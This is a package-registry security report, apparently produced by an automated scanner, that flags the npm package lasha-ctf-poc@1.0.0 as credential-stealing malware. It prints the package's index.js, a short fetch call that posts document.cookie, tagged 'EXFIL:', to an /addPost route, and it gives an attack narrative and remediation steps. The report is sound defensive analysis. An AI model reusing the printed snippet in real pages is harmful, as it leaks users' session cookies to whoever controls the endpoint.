registry / Credential exfiltration / lasha-ctf-poc
lasha-ctf-poc
This report shows the evidence for lasha-ctf-poc@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 1.0.2, is flagged. See all versions.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe manifest points to code that actively transmits browser cookie data without a consent check. This is concrete credential exposure, so the package should be blocked.
Static reason
No blocking static signals were detected.
Trigger
Loading index.js in a browser context where fetch and document are available.
Impact
Cookies accessible to the script, potentially including session credentials, are disclosed to the endpoint.
Mechanism
The code serializes document.cookie into a JSON field and POSTs it to /addPost.
Attack narrative
When the entrypoint runs in a browser context, it reads document.cookie and sends the value in a POST request to the current origin's /addPost route. Cookies available to script may include session credentials.
AI rationale
The manifest points to code that actively transmits browser cookie data without a consent check. This is concrete credential exposure, so the package should be blocked.
Evidence
package.jsonindex.js
Network endpoints1
/addPost
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json names index.js as the package entrypoint.
- index.js sends document.cookie in a POST request to /addPost.
Evidence against
Behavioral surface
Network
Trivial
Source & flagged code
2 flaggedpackage.jsonView file
1{
"name": "lasha-ctf-poc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywo
High
Ai Review Evidence
package.json names index.js as the package entrypoint.
package.jsonView on unpkg · L1index.jsView file
1fetch('/addPost', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({content: 'EXFIL:' + document.cookie})
});
High
Ai Review Evidence
index.js sends document.cookie in a POST request to /addPost.
index.jsView on unpkg · L1Findings
2 High1 Medium1 Low
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
Affected versions and remediation
This report applies to lasha-ctf-poc@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing lasha-ctf-poc@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.